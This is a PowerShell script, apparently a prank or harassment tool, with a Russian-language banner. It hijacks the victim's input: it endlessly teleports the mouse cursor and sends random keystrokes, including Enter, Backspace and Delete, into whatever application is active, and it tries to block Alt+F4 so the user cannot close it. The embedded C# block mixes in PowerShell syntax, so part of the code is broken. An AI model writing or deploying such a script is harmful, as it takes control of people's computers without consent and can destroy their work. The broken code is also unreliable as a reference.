Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$code = @'
using System;
using System.Runtime.InteropServices;
public class KeyBlocker {
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
private static extern int ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
public static bool IsKeyPressed(int vKey) {
return (GetAsyncKeyState(vKey) & 0x8000) != 0;
}
public static void BlockAltF4() {
if (IsKeyPressed(0x73) || IsKeyPressed(0x12)) {
[System.Windows.Forms.SendKeys]::SendWait("{F15}");
}
}
}
'@
Add-Type -TypeDefinition $code -Language CSharp
$random = New-Object Random
$keys = @(
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9',
'{ENTER}','{TAB}',' ','{BACKSPACE}','{DELETE}',
'{UP}','{DOWN}','{LEFT}','{RIGHT}'
)
Write-Host "[Møɍƥɧ] Alt и F4 заблокированы. Для остановки закрой это окно (Ctrl+C)." -ForegroundColor Red
while ($true) {
[KeyBlocker]::BlockAltF4()
$x = $random.Next(0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width)
$y = $random.Next(0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)
$key = $keys[$random.Next(0, $keys.Length)]
[System.Windows.Forms.SendKeys]::SendWait($key)
Start-Sleep -Milliseconds 50
}